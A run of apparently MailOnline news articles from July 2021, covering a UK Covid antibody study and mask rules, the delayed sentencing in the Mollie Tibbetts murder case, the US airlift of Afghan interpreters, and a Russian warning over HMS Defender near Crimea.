But real-world analysis of Britain's vaccine rollout has shown that both vaccines are extremely effective at stopping severe illness and death.

Even against the Indian variant, they were both shown to reduce the risk of being hospitalised with the virus by more than 90 per cent.

Britain's largest study of Covid antibodies suggests Pfizer's jab is more likely to spark immunity to the virus than AstraZeneca's. Experts said this is because the Oxford-made jab relies on a weakened cold virus

REACT-2 looked at more than 207,000 participants from across the country for Covid-fighting antibodies.

The study was carried out over the two weeks to May 25 when the inoculation drive had only just been opened to people in their thirties.

Some individuals in younger age groups will have been vaccinated if they were in a top priority group  including healthcare workers and those who were clinically vulnerable to the virus because of an underlying condition.

British health chiefs quietly sneak out warning that Pfizer and Moderna's vaccines may cause heart damage British health chiefs quietly released a warning that Pfizer and Moderna's Covid vaccines may cause heart damage, MailOnline revealed last week. Fears about the mRNA jabs' links to myocarditis had been growing in recent weeks, following a string of cases in young adults and children in Israel and the US. Now the UK's drug watchdog has updated its safety information to accept that the condition is a possible side effect of both vaccines, without a formal announcement. The Medicines and Healthcare products Regulatory Agency insists the complication  inflammation of the heart muscle which can damage the organ over time  is still 'extremely rare' and 'typically mild'. But it wasn't listed as a potential side effect until last week, when the MHRA released its most up-to-date safety surveillance data. Cardiologists say the benefits of both jabs still clearly outweigh the risks for the vast majority of the population. However, they say it 'completely changes' the debate about vaccinating children in Britain. They won't get AstraZeneca's jab because of its links to deadly blood clots in young people. Advertisement

The study found 100 per cent of under-39s given the AstraZeneca jabs had antibodies two weeks after they had received their second dose.

This dropped slightly among 40 to 49-year-olds (99.4 per cent), 50 to 59-year-olds (93.8 per cent), and 60 to 69-year-olds (92.1 per cent).

But it fell below nine in ten for over-80s (83.6 per cent).

For comparison, the Pfizer vaccine sparked protection in 100 per cent of all age groups except the over-80s, where the proportion was 97.8 per cent.

But Professor Jones told MailOnline: 'What does seem true from these numbers  and this is one of the biggest surveys  is that the failure rate is higher for AstraZeneca than it is for Pfizer.

'There are some individuals by chance or because of a recent cold who have antibodies to the (adenovirus) and that stops it getting in [the immune system] in the first place.'

Antibodies are just one part of the immune response to Covid and do not determine how protected someone is - for example, white blood cells also play a crucial role.

But they are one of the key ways scientists can measure how well a person responds to a vaccine.

Antibody levels fade over time but this does not mean they lose immunity. The body stores the memory of how to fight a specific virus long after the initial immune antibodies drop.

Johnson and Johnson's one-shot Covid vaccine also uses adenovirus technology. That vaccine has been approved in the UK and doses are expected to arrive in the autumn.

Adenovirus vaccines work by using a weakened form of the common cold which carries instructions to cells teaching them to fight Covid.

When the vaccine is administered the patient's immune system attacks the spike protein by building antibodies, priming it to fight off Covid before it leads to an infection.

Moderna jab, the third vaccine currently being deployed across Britain, relies on the same mRNA technology as Pfizer's, which uses a synthetic delivery method.

Meanwhile, REACT-2 also found black Britons were the least likely group to get a Covid vaccine.

When their study was broken down by ethnicity it revealed antibody levels were 59 per cent lower in black Britons compared to white Britons.

The NHS and ministers have been spearheading a drive to ensure everyone is vaccinated against the virus, by opening jabbing clinics in community centres and asking local leaders to call on their community to get the vaccine.

The study also found 61 per cent of adults in the UK had antibodies in May, which was up from 13.9 per cent in the two weeks to February 8.

But they said the levels were now likely 'far higher' because more people have been vaccinated.

Department of Health figures show 46million Britons have received at least one dose of the Covid vaccine  87.3 per cent of adults  and 35.1million have got both doses  66.6 per cent.
A judge has delayed sentencing for the illegal immigrant convicted of killing University of Iowa student Mollie Tibbetts after his defense lawyers said they needed time to investigate two informants who are now claiming he was framed and that they know who the real killer is.

Cristhian Bahena Rivera, 27, was scheduled to be sentenced to life in prison without the possibility of parole on Thursday over the 2018 stabbing death of the 20-year-old student.

But Judge Joel Yates ruled on Wednesday that sentencing would be delayed until he hears the defense's requests to compel prosecutors to release information about other suspects and to order a new trial.

Yates said he would hold the first hearing Thursday and would set a date for the hearing on whether to grant a new trial.

A jury found Bahena Rivera guilty in May of first-degree murder in the stabbing death of Tibbetts, who vanished while out for a run in her hometown of Brooklyn, Iowa, in July 2018.

A judge has delayed the sentencing of Cristhian Bahena Rivera, 27, after defense lawyers said they needed time to investigate new information pointing to other potential suspects. He was scheduled to be sentenced to life in prison without the possibility of parole on Thursday over the 2018 stabbing death of Mollie Tibbetts

Prosecutors built their case on surveillance video showing Bahena Rivera driving in the vicinity of where Tibbetts disappeared while jogging, on DNA evidence showing that her blood was found in his car's trunk and on a partial confession in which Bahena Rivera led investigators to a remote cornfield where her body was found a month after she disappeared.

Bahena Rivera, a dairy farm worker, claimed in his testimony that two masked men were responsible for the killing and had forced him to drive them around and dispose of Tibbetts' body at gunpoint.

Prosecutors dismissed his testimony and called it a 'figment of his imagination'.

Defense lawyers Chad and Jennifer Frese requested a new trial last week, saying two witnesses came forward independently of one another to partially support Bahena Rivera's testimony after his high-profile trial.

The names of the witnesses have not been released but Law and Crime named one of them as Arne Maki, who is currently a prisoner housed by the Iowa Department of Corrections

The names of the witnesses have not been released but Law and Crime named one of them as Arne Maki, who is currently a prisoner of the Iowa Department of Corrections.

Court documents filed for Rivera's sentencing hearing named Maki as a witness and he has been ordered to appear in court Thursday.

Maki has been in prison on a first offense domestic abuse charge since October 19, 2020. He is currently at the Mount Pleasant Correctional Facility.

According to defense lawyers, the witnesses told investigators that a 21-year-old man with a history of violence against women claimed responsibility for killing Tibbetts.

One of the witnesses said the man told him while they were at a county jail that Tibbetts had been kidnapped and brought to a local 'trap house' used for sex trafficking before she was killed, according to Bahena Rivera's lawyers.

The man said the house was owned by a 50-year-old who was running the trafficking ring and decided to have Tibbetts killed after the publicity surrounding her disappearance got too big.

The man allegedly said he and an associate followed through with a plan devised by the 50-year-old to stab Tibbetts and frame a Hispanic man for the death.

The defense lawyers said they learned on Tuesday about a criminal investigation that centered on a 50-year-old man who allegedly met one of his sex trafficking victims in May 2018 at a gas station in Brooklyn, which is Tibbetts' hometown of 1,700 people that is roughly 50 miles west of Iowa City.

Bahena Rivera, a dairy farm worker, claimed in his testimony that two masked men were responsible for the killing and had forced him to drive them around and dispose of Tibbetts' body at gunpoint. Tibbetts' partially naked and decomposing body was found dumped in this corn field in 2018

Prosecutors told jurors that an autopsy found that she had been stabbed seven to 12 times in the chest, ribs, neck, and skull, and that she died from sharp force injuries

The woman told investigators that the man lured her to a house in the nearby town of New Sharon, where she was repeatedly drugged, raped, and held against her will until August 2018. The woman said she sometimes would hear other women's voices in the home.

Law enforcement officials used the information to obtain a warrant to search the home days after they interviewed her in March 2019 but it had already been vacated by the 50-year-old man. They did not charge him with any crimes, and Mahaska County's sheriff said recently the kidnapping and sex trafficking allegations were never substantiated.

Still, defense lawyers said in a motion that prosecutors should have turned over details about the investigation under their duty to provide exculpatory information to Bahena Rivera. They said the potential existence of a local 'trap house' corroborates the new witnesses' claims.

They are asking Yates to order the state to release information about prior sex trafficking investigations in the area, including any involving the 21-year-old and 50-year-old. They noted that several other young people have gone missing from the area in recent years, calling that 'very troubling.'

In court filings, defense attorneys noted that the 50-year-old man had come under scrutiny in the investigation into the disappearance of an 11-year-old boy, Xavior Harrelson.

Xavior vanished from his trailer park in Montezuma on May 28, during closing arguments of the Bahena Rivera trial.

The defense noted the 50-year-old man is the former live-in boyfriend of Xavior's mother and that the two maintained a friendly relationship. Investigators searching for Xavior began looking for the man almost immediately and arrested him on an unrelated outstanding warrant in another county the day after the boy was reported missing. He has not been charged with any crimes related to the disappearance.

Prosecutors remain confident in Bahena Riveras guilt, state attorney generals office spokesman Lynn Hicks said.

As of Wednesday, they hadn't submitted any filings in response to the new developments.
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Britain's surge in Covid cases has continued at full steam today, as positive tests rose by nearly a third in a week to 43,302.

Department of Health bosses posted yet another six-month high today, with infections at their highest level since January 15, when 55,761 were recorded. The highest daily figure on record was 68,053 on January 8.

And the number of people who died with the virus also increased by 48.5 per cent in a week today to 49, up from 33 last Wednesday.

In light of the rapidly growing infection levels, experts today warned members of the public to continue wearing face masks indoors and open windows when restrictions are eased on 'Freedom Day' on Monday.

Dr Yvonne Doyle, medical director of Public Health England, said: 'Cases are rising rapidly. We knew as we opened up cases would increase, but thankfully due to the vaccine, deaths and hospital admissions are not rising as fast as cases.

'If you have not had the vaccine, book your first and second dose as soon as you can.

'Restrictions are currently still in place, it is important to follow them, and when they lift on Monday there are still steps we can all take to protect ourselves and loved ones such as wearing a mask in enclosed spaces, opening a window if youre meeting in close contact indoors, and getting tested and staying at home if you have symptoms.

'The pandemic is not over, and we must all remain vigilant.'

Her warning came as the rules around face masks descended into chaos, as London Mayor Sadiq Khan ordered coverings to remain compulsory on the Tube, buses and taxis from Monday  even though they won't be required by law.

Commuters in the capital were pictured maskless today, despite coverings still being mandatory, but Transport Secretary Grant Shapps played down tensions this morning saying he had 'expected' operators to put in place 'conditions of carriage' to ensure that passengers were safe on public transport.

Despite the gloomy case numbers, it was revealed the country has steamed through its Covid vaccination goal five days early, with two-thirds of adults now having had both doses.

Government data shows 35.2million over-18s (66.7 per cent) are fully-vaccinated. And around 46million (87.4 per cent) have had their first jab.

Boris Johnson heralded the milestone  which ministers wanted to hit by Monday  as 'extraordinary' and heaped praise on ordinary Britons for putting their faith in the vaccines.

Meanwhile, summer holiday plans for thousands of Britons were left on the brink of tatters today after it emerged the Balearic islands are set to be upgraded to the 'amber list' just a fortnight after they were approved for quarantine-free travel.

NHS England figures show another 124,905 second doses have been dished out, bringing the total number of Brits jabbed to 35.1million, or 66.6 per cent. Health chiefs will publish updated figures later today that will also include inoculations in Scotland, Wales and Northern Ireland

Boris Johnson (pictured leaving Downing Street today) heralded the milestone as 'extraordinary' and said it was thanks to millions of Britons turning up for vaccines that restrictions could be 'cautiously' lifted on July 19. Health Secretary Sajid Javid (pictured arriving at Downing Street today) said it was a 'huge achievement'

Has Freedom Day come early? Pictures reveal how passengers and shoppers are ALREADY abandoning their facemasks Mask rules descended further into chaos today as London Mayor Sadiq Khan ordered face masks to remain compulsory on the Tube, buses and taxis - even though they are not required on trains from 'Freedom Day'. Mr Khan has broken ranks by announcing the move in the capital despite the government binning all legal restrictions across England from Monday. Pictures from across the capital today showed passengers and shoppers shunning masks on public transport and in stores as the public has received mixed messages over what is required in which space. However, Transport Secretary Grant Schapps played down the tensions this morning saying he had 'expected' operators to put in place 'conditions of carriage' to ensure that passengers were safe on public transport. The increasingly confused situation means that passengers on trains in and out of London terminals will not need to wear masks during their journeys, but must while travelling around the city. Unions have warned that the 'botched' approach to setting the rules will leave railway workers facing the threat of violence from angry customers. Mr Khan told BBC Breakfast that around 400 enforcement officers would be deployed to check people are still wearing masks in the capital. 'It's not perfect. [It] would have been better if national rules applied across the country to avoid any confusion,' he said. 'The government for their own reasons have decided not to do that.' Asked about the lack of restrictions on services from outside the city, Mr Khan said: 'A number of services that come into London are not my responsibility. 'If you are in London, you need to follow the rules. Advertisement

On another day of coronavirus chaos:

It was revealed a fifth of Britons are planning to delete the NHS app before 'Freedom Day' amid fears the software could spark a 'pingdemic';

A Government adviser warned halving the gap between vaccines to just four weeks could actually cause infections to rise;

One of the scientists behind the Oxford University vaccine claimed vaccines and masks are the best way to protect ourselves after 'Freedom Day' on Monday;

Ministers were accused of using nightclubs as a proxy weapon to drive up youth coronavirus jab rates amid a furious row over Covid passports;

It was revealed a major flaw in the system means anyone can get an NHS Covid Pass to attend crowded venues without having a jab or taking a test;

Wales confirmed it will follow Scotland and keep mask-wearing laws in place after almost all other rules are scrapped.

Cases reached their level since the peak of the second wave in January today, but their rate of growth appears to be slowing compared to previous weeks.

Growth in the seven-day case average stands at 27.4 per cent, whereas cases were rising by more than 40 per cent on average this time last week.

Ministers had aimed to get two doses to at least two in three adults by July 19, when most remaining restrictions in England are set to be eased. Everyone over the age of 18 has been offered the chance to get vaccinated.

No10's top advisers are mulling over halving the gap between shots to four weeks amid mounting concern the country may have finally hit 'maximum uptake'.

The space between doses has already been reduced to eight weeks, and scientists fear any further reduction could result in people getting substandard immunity from the jabs compared to those who waited for longer.

The Prime Minister said: 'Thank you again to everyone coming forward, and to those helping others to get jabbed. You are the reason we are able to cautiously ease restrictions next week, and return closer towards normal life.

'Barely eight months since the first vaccine was given, this is another extraordinary achievement.

'Now let's finish the job. If you're over 18, book both your jabs today.'

Newly-appointed Health Secretary Sajid Javid heralded reaching the target early as a 'huge achievement' for the vaccine roll-out.

Mr Javid said: 'The vaccination programme is building a strong wall of protection around our population, saving tens of thousands of lives, preventing millions of infections and allowing us to cautiously progress through the roadmap.

'Everyone has a part to play in overcoming this virus so please come forward for your jab if you haven't already  it is the best way to protect you, your loved ones and your community.'

Professor Anthony Harnden, deputy chairman of the Joint Committee on Vaccination and Immunisation (JCVI)  which advises No10 on the roll-out  claimed today there would be no 'gain' from cutting the gap.

He said data shows a four-week interval causes a much lower immune response, meaning people who get the jabs after a shorter time-frame get less protection against the virus.

Other JCVI advisers have also called for No10 not to change tack in its fight against the third wave, echoing Professor Harnden's concerns.

Professor Harnden told Times Radio: 'We've looked at this data very carefully over the last few days and it is quite clear, from the AstraZeneca vaccine, there is absolutely no doubt the longer interval gives you much better protection.

'But we concentrated on the Pfizer vaccine because of course that's one that's being given to younger people at the moment.

London Mayor Sadiq Khan has ordered face masks to remain compulsory on the Tube, buses and taxis - even though they are not required on trains from 'Freedom Day'. Pictured: People not wearing masks on the Jubilee line this afternoon

To mask or not to mask: Some people not wearing face masks or coverings on Jubilee line trains in London this afternoon

People not wearing face masks in a Tesco supermarket, South London, ahead of the relaxation of the rules on Monday

Summer holidays in tatters for thousands: Ibiza, Majorca and Menorca to be moved to the dreaded 'amber list' Summer holiday plans for thousands of Britons were left on the brink of tatters today after it emerged the Balearic islands are set to be upgraded to the 'amber list' just a fortnight after they were approved for quarantine-free travel. MailOnline understands tourist hotspots Ibiza, Majorca and Menorca are all on the chopping block amid surging infection numbers across the archipelago, but there are reports that Croatia could be downgraded to the green list when the announcement is formally confirmed by the Government later today. One unvaccinated couple told MailOnline they would have to cancel their trip to Ibiza to reunite with their grandchildren for the first time since the pandemic began, if the self-isolation rules for returning travellers are re-imposed on the Balearics. Another family who are due to fly to Menorca on Friday revealed that they were now stuck in limbo with travel agents and airlines refusing to offer refunds. Others who flew out from Gatwick Airport this morning told MailOnline they were already considering cutting their holidays short to bypass the 10-day home quarantine. Transport Secretary Grant Shapps showed no sympathy for the thousands of Britons who could be affected by the sudden change to the travel list, telling them that uncertainty was a 'fact of life'. A decision on whether to upgrades the Balearics  which also include Mallorca  to 'amber' amid rising infection numbers is expected tonight. Advertisement

'And it's quite clear from antibody T cells studies that you get much lower response, and poorer quality memory response, with the shorter interval  that's a four-week interval compared to an eight- to 12-week interval.

'And the actual real data vaccine effectiveness studies show that there is a lower vaccine efficacy against symptomatic disease with shorter intervals compared to longer intervals.'

He added: 'Then we got the modellers to look at this and, actually, the number of infections will rise if we reduce the dose. We just don't think there's any good short, or longer term gain by shortening the interval.'

Scientists say spacing out doses leads to a better priming of the immune system to fight off the virus.

Originally, both AstraZeneca and Pfizer's vaccines were approved to be dished out in three-week intervals because that was the gap tested in the research trials.

But No10's scientists pushed the regimen back to 12 weeks to get wider protection in winter, when the second wave started to take off.

They said the decision would allow more people to get some immunity against the disease in the shortest period of time possible.

Two weeks ago, the JCVI recommended cutting the gap to eight weeks for everyone, in a bid to protect more people.

Health chiefs already fear the UK may be close to maximum vaccine uptake, with young people having been eligible for appointments for almost a month.

The roll-out has ground to fewer than 100,000 first doses a day, with the UK's drive currently centered on ensuring millions get fully inoculated.

Young people  the last group to be inoculated  are less likely to get the jab than others because they see themselves as not at threat from the virus.

Ministers are hoping, however, that a double-jab requirement for holidays and to avoid self-isolation will bolster uptake.

Professor Harnden said uptake of jabs among younger age groups may increase if vaccines are more accessible and are backed by role models.

He added that the JCVI is 'concerned' about the uptake of first doses among younger age groups.

Asked whether the England team could be part of an advertising campaign, he said: 'I think it'd be a brilliant idea  the England team have captured the whole country's attention over the last four weeks.

'And many of them, the young role models  I think it would be wonderful if they were able to contribute in some sort of way to encouraging young, particularly young men to be vaccinated.'

The JCVI has been asked to issue urgent advice on whether the pros and cons of slashing the gap between doses, the Sunday Times claimed. An announcement is expected within days.

Experts fear leaving young people only partially protected for longer amid a second wave could drive up rates of 'long Covid'.

Public Health England evidence shows jabs cut the risk of infection by between 55 and 70 per cent after one dose, but that this rises to 65 to 90 per cent after two.

Mask chaos as Grant Shapps BACKS London Mayor Sadiq Khan keeping them compulsory on the Tube and buses even though they are NOT required on trains from 'Freedom Day' - amid fears staff face violence from 'confused' passengers

By JAMES TAPSFIELD, POLITICAL EDITOR FOR MAILONLINE

Mask rules descended further into chaos today as Grant Shapps backed London Mayor Sadiq Khan keeping them compulsory on the Tube, buses and taxis - even though they are not required on trains from 'Freedom Day'.

Mr Khan has broken ranks by announcing the move in the capital despite the government binning all legal restrictions across England from Monday.

However, the Transport Secretary played down the tensions this morning saying he had 'expected' operators to put in place 'conditions of carriage' to ensure that passengers were safe on public transport.

The increasingly confused situation means that passengers on trains in and out of London terminals will not need to wear masks during their journeys, but must while travelling around the city.

Manchester mayor Andy Burnham and local leaders in other parts of the country are also considering whether to impose their own rules. The Tory West Midlands mayor Andy Street lamented that he does not have powers to take the step, but stressed he 'expects' people to cover up.

Unions have warned that the 'botched' approach to setting the rules will leave railway workers facing the threat of violence from angry customers.

Mr Khan told BBC Breakfast that around 400 enforcement officers would be deployed to check people are still wearing masks in the capital.

'It's not perfect. [It] would have been better if national rules applied across the country to avoid any confusion,' he said.

'The government for their own reasons have decided not to do that.'

Asked about the lack of restrictions on services from outside the city, Mr Khan said: 'A number of services that come into London are not my responsibility. 'If you are in London, you need to follow the rules.'

London Mayor Sadiq Khan has announced that masks will stay compulsory on the Tube, buses and taxis in the capital - even though they are not required on trains elsewhere from 'Freedom Day'

The coronavirus restrictions which will be removed from July 19

Mask on, mask off: Jacob Rees-Mogg (pictured left wearing a mask) says he will not be wearing a face covering at Parliament when the requirement is lifted (pictured right on July 12)

MPs who fail to wear masks at Parliament 'to be named and shamed' A union representing civil servants said it plans to 'name and shame' MPs who refuse to wear face coverings in Parliament once legal requirements are dropped next week. FDA general secretary Dave Penman said he would be writing to MPs warning them that his union was willing to 'call out' those ditching their masks, even after coronavirus-related restrictions have been lifted on July 19. The Prime Minister has announced that from Monday, legal mandates in England to wear masks in some public settings will be scrapped, with the onus instead placed on personal responsibility. House of Commons Speaker Sir Lindsay Hoyle has written to MPs explaining that they will be 'encouraged' to continue wearing the coverings until July 22, when Parliament breaks for its summer recess. However, the elected politicians cannot be forced to continue using them while in the chamber or elsewhere. Currently, MPs who are not exempt must have their face covering on when not speaking in a debate in the Commons, while it is also recommended that they are adorned when moving about the estate. But, with all other staff on the Westminster estate to continue to be required to wear masks while moving around the premises after July 19, the FDA said it will be putting pressure on MPs to follow suit. Advertisement

In his own round of interviews this morning, Mr Shapps said: 'Whilst we are going from this being a legal requirement to guidelines, we do expect individual carriers to make sure they are putting in place whatever is appropriate for their network,' he told Sky News.

'The airlines have already said that you will need to carry on wearing masks on those. It is very much in line with what we expected  indeed wanted  to happen.'

He added on Times Radio: 'If you think about it, it makes sense..

'We've moved from the point in the crisis where everything is set in law to a point where we put in place a degree of a personal responsibility and also ask the carriers in this case  the transport carriers  to make clear the conditions of travel on their particular network.'

Masks will also remain compulsory in Scotland and Wales, but transport operators in the rest of the country have indicated they will not insist on passengers wearing them.

The Rail, Maritime and Transport union (RMT) said staff risked becoming 'punchbags' for irate travellers.

RMT general secretary Mick Lynch said: 'We now have the ludicrous position where a passenger travelling through London will have different rules on the tube and the main line services.

'There will also be a change of policy on trains at the Welsh and Scottish borders which is a total nonsense, and will leave staff right at the sharp end and dangerously exposed when it comes to enforcement.

'As a result of this chaotic approach we now have a situation where the London measures are not enforceable by law, which means RMT members will be thrown into a hostile and confrontational situation from next Monday at heightened risk of abuse and assault.'

Mr Street said: 'We will have staff out and about at stations and on services relaying this message and handing out masks where needed.

'Myself and Transport for the West Midlands believe that wearing face coverings on public transport  particularly busy services  has an important role to play in protecting staff and vulnerable passengers.

'We would ask all passengers to join in this collective effort.'

Mr Khan's move came as ministers clashed with government scientists over the decision to ditch mask laws next week.

And in a letter to the Prime Minister, the Royal Pharmaceutical Society in England, the British Medical Association, British Dental Association, Royal College of Nursing and the College of Optometrists called for mandatory use of face masks, social distancing and regular handwashing by the public to stay in place past July 19 in all healthcare settings.

What are the mask rules in different parts of Britain? ENGLAND There is no legal requirement to wear masks in any setting in England from July 19. However, the government is 'expecting and recommending' that people will wear coverings in crowded, confined places. In London, mayor Sadiq Khan has also announced they will be a 'condition of carriage' on the Tube, buses and taxis. SCOTLAND Nicola Sturgeon has said that masks will remain compulsory on public transport and indoor settings from August 9, when other legal restrictions are due to be removed. WALES After August 7, face masks will still be required in most indoor public places. There are exceptions for hospitality businesses such as pubs and restaurants, as well as schools. Advertisement

'While you state that you would expect the public to continue wearing face coverings in healthcare settings, we ask that this is translated into action,' they told the Prime Minister.

'As the rules change, this must be backed by clear Government communications for the public, so that health and care staff are not caught in the middle and placed at increased risk of abuse.'

And the NHS Providers organisation, which represents NHS trusts, called for 'clear communication' about infection control measures in the health service.

Meanwhile, Commons leader Jacob Rees-Mogg added to the mixed messages by saying he would not wear one in Parliament when the requirement is lifted.

Mr Rees-Mogg said that people who have received both jabs of the vaccine have already done their 'societal bit.'

'This morning I wandered around the palace of Westminster wearing a mask, and met almost nobody. In those circumstances I will not be wearing a mask - what would be the point?,' he said while speaking on the Conservative Home Podcast.

'If you've had both vaccines, your risk of transmitting the disease is slight. So in a way you've done your societal bit by having the vaccine, as much as by wearing a mask, which is why I think it's sensibly individual choice.'

His comments come amid mass confusion among businesses about whether or not to enforce their own voluntary mask-wearing policies when restrictions are lifted on July 19.

Bosses last night demanded clarity on whether such policies would be legal.

Some chains have already suggested they may bring in mask-wearing requirements for customers beyond July 19 - with some fearing a 'Freedom Day free-for-all' when the Government lifts Covid restrictions on Monday.
The Biden administration will begin an airlift of Afghans who aided U.S. military operations during the 20-year war by the end of July, a senior administration official said on Wednesday.

Operation Allies Refuge flights out of Afghanistan will be available first for people who have already applied for special immigrant visas and their families. The flights will begin in the last week of July.

'For operational security, we wont have additional details on when flights will depart, but we will meet the Presidents commitment to begin flights this month,' said the official.

President Biden has been under intense pressure from both left and right to explain how he planned to protect Afghans who risked their lives as translators or in other roles.

They fear a rapid Taliban advance and U.S. withdrawal puts them and their families at even greater risk.

The White House began briefing lawmakers on the outlines of their plans last month.

Last week President Biden said he would help protect Afghans who worked for U.S. forces. On Wednesday, a senior administration official said Operation Allies Refuge would begin in the last week of July, flying translators and other former staff and their families to safety

The Taliban apparently continued their advance on Wednesday. People are seen waving Taliban flags as they drive through the Pakistani town of Chaman after the Taliban claimed to have captured the Afghan side of the frontier crossing at Spin Boldak

Former Afghan interpreters hold placards during demonstrations against the US government, in front of the US Embassy in Kabul, as they seek safety from advancing Taliban fighters

It is understood the administration is mulling whether to charter commercial aircraft or use military planes.

The move was welcomed by No One Left Behind, which campaigns for the safety for interpreters in Afghanistan and Iraq.

'No One Left Behind thanks President Biden to following through with his promise last Thursday,' it said.

'The announcement of flights to third countries for SIV applicants is a significant step forward.'

In a speech last Thursday, Biden defended his decision to withdraw U.S. troops from Afghanistan and offered guarantees of safety to translators and other Afghans who worked for American forces 'if they wish to leave by taking them to third countries.'

Meanwhile, the Taliban has been making rapid advances.

On Wednesday, they claimed to have taken a strategic border crossing with Pakistan.

A Taliban spokesman tweeted a video apparently showing Taliban fighters flying their flag in the south-eastern town of Spin Boldak, along the border.

In the meantime, lawmakers from both sides spelled out dire predictions for what might happen if the translators were left behind.

'If they're not given refugee status, we're going to see pictures of them lined up against the wall and machine-gunned,' Democratic Sen. Patrick Leahy told MSNBC on Tuesday, saying he feared violence at the hands of the Taliban. 'That's not an exaggeration.'

Former US president George W. Bush on Wednesday said the withdrawal of NATO troops from Afghanistan was a 'mistake' and warned civilians were being left to be 'slaughtered' by the 'brutal' Taliban in an interview with Deutsche Welle

President George W. Bush announcing that the US and Britain had started bombing Afghanistan, in the Treaty Room of the White House on October 7, 2001

Afghanistan is facing a crisis as the Taliban snap up territory across the countryside, stretching government forces and leading to a fresh wave of internally displaced families

Former President George W. Bush, who sent troops to Afghanistan in fall 2001 after the September 11 attacks, said he feared the withdrawal was a mistake.

'I think about all the interpreters and the people that helped not only US troops, but NATO troops and it seems like they're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart,' he told German broadcaster Deutsche Welle.

Biden has insisted soldiers will completely pull out of Afghanistan by September 11, despite facing intense criticism over the decision.

Bush said: 'It's unbelievable how that society changed from the brutality of the Taliban and how all of a sudden, sadly, I'm afraid Afghan women and girls are going to suffer unspeakable harm.'

Pressed on whether the withdrawal was a mistake, he said 'I think it is, yeh, because I think the consequences are going to be unbelievably bad.

Speaking in the interview primarily about German Chancellor Angela Merkel, who is set to retire from politics later this year after 16 years in power, Bush said he thought she 'feels the same way'.

US and NATO forces began withdrawing from Afghanistan in early May and are due to completely pull out by September 11, some 20 years after they arrived in the war-torn country.

Most of the 2,500 US and 7,500 NATO troops who were in Afghanistan when US President Joe Biden detailed the final withdrawal in April have now departed, leaving Afghan troops to fight an emboldened Taliban seemingly bent on a military victory.

The country is facing a crisis as the insurgents snap up territory across the countryside, stretching government forces and leading to a fresh wave of internally displaced families, complicated by a renewed outbreak of Covid-19.

The Taliban appear to be winning the propaganda war with videos to prove they will welcome surrendering soldiers (pictured, Taliban fighters and villagers on March 2, 2020)

Former President George W. Bush has warned 'Afghan women and girls are going to suffer unspeakable harm' following the withdrawal of US troops

The United Nations said on Sunday the rising conflict is causing 'more suffering' across the violence-wracked country as it called for continuous financial aid.

Biden has insisted, however, that it is time for US involvement in the war to end and for Afghans to chart their own future.

'I will not send another generation of Americans to war in Afghanistan, with no reasonable expectation of achieving a different outcome,' he said on Thursday, defending his decision despite the growing threat of civil war.

It comes after American troops slipped away from Bagram in the dead of night on July 2, effectively ending the combat mission without telling the local Afghan commander.

Since the quiet withdrawal Afghan troops around the country have been filmed laying down their arms to the Taliban and reports suggest they have deserted in vast numbers, with more than 20,000 fleeing across the border into Tajikistan.

The result is a growing sense of doom among Afghans and US allies.

US troops are seen loading a helicopter onto a C-17 Globesmaster at Bagram on June 16 as they prepare to leave the airbase

An Afghan soldier stands guard on a security tower at Bagram airfield after US troops left

An Afghan flag is raised during a handover ceremony from the US Army to the Afghan National Army, at Camp Anthonic, in Helmand province, southern Afghanistan in May 2021

The White House has been under intense pressure to explain its rationale for rushing out of Afghanistan.

Washington agreed to leave as part of a deal with the Taliban made by the Trump administration last year.

Military leaders wanted to leave a larger presence in the country but Biden announced in April that he wanted all US troops out by September 11.

In 30 minutes of comments on Thursday, Biden repeated his justification for the withdrawal - saying the US had met its aims of delivering justice to Osama bin Laden for the 9/11 attacks and making sure Afghanistan did not pose a threat.

'We achieved those objectives, that's why we went,' he said.

'We did not go to Afghanistan to nation build. And it's the right and the responsibility of the Afghan people alone to decide their future and how they want to run their country.'

He also offered more details on plans to move Afghan translators to third countries as they await applications to travel to the US and snapped back at a reporter who asked whether or not he trusted the Taliban.

'It's a silly question,' he said.

'Do I trust the Taliban? No, but I trust the capacity of the Afghan military, who are better trained, better equipped, and more competent in terms of conducting war.'

The White House has been under intense pressure to explain its rationale for rushing out of Afghanistan and President Biden has been peppered with questions about what comes next in the country every time he makes a public appearance

The President has been peppered with questions about what comes next in the country every time he makes a public appearance.

On Thursday, he offered an impassioned defense of his approach, playing down security fears and quietly abandoning the 9/11 target - a date which many analysts suggested could be used for propaganda purposes by the Taliban and other extremists.

A question about whether a Taliban takeover was inevitable received a sharp response.

'No it is not because you have the Afghan troops at 300,000, well equipped - as well as any army in the world - and an air force against something like 75,000 Taliban,' he said.

'It is not inevitable.'

The US President said there will be a phased drawdown on troops until his apparently uni-lateral September 11 deadline

US soldiers arrives at the site of a car bomb attack that targeted a NATO coalition convoy in Kabul on September 24, 2017 - US war in Afghanistan killed more than 2,200 U.S. troops, wounded 20,000

In this file photo a US soldier investigates the scene of a suicide attack at the Afghan-Pakistan border crossing in Torkham, Nangarhar province on June 19, 2014

Republicans have also slammed Biden's plan as essentially surrendering the region to al Qaeda amid the on-going war on terrorism.

And the White House has faced criticism from within its own ranks.

CIA Director William Burns said in April that Washington's ability to collect intelligence and act on threats will diminish when US troops leave Afghanistan.

'When the time comes for the US military to withdraw, the US government's ability to collect and act on threats will diminish. That's simply a fact,' he told the Senate Intelligence Committee, adding that the United States would however retain 'a suite of capabilities.'

In April, Biden defended the withdrawal, saying: 'I am now the fourth American president to preside over an American troop presence in Afghanistan. Two Republicans. Two Democrats. I will not pass this responsibility to a fifth.

'It is time to end America's longest war. It is time for American troops to come home.'
A senior Russian security official tonight warned Britain not to sail its warships near Russian-annexed Crimea again unless it wanted its sailors to get hurt.

The warning, issued by Mikhail Popov, deputy secretary of Russia's Security Council, follows an incident in which Russia fired warning shots at HMS Defender off the coast of Crimea.

The British warship, a Type 45 Destroyer, exercised what London said were internationally recognised freedom of navigation rules in Ukrainian territorial waters.

Russia annexed Crimea from Ukraine in 2014 and says the waters around it belong to Moscow now - despite most countries continuing to recognise the peninsula as Ukrainian.

It protested strongly against the British move at the time with a coastguard vessel firing warning shots and summoned the British ambassador for an explanation.

Popov, in an interview in the state Rossiiyskaya Gazeta newspaper, said Britain's behaviour and its subsequent reaction to the incident was 'bewildering'.

The warning, issued by Mikhail Popov, deputy secretary of Russia's Security Council, follows an incident last month when British warship HMS Defender (pictured) exercised what London said were internationally recognised freedom of navigation rules in Ukrainian territorial waters near Crimea

Russia (pictured: President Vladimir Putin) annexed Crimea from Ukraine in 2014 and says the waters around it belong to Moscow now despite most countries continuing to recognise the peninsula as Ukrainian

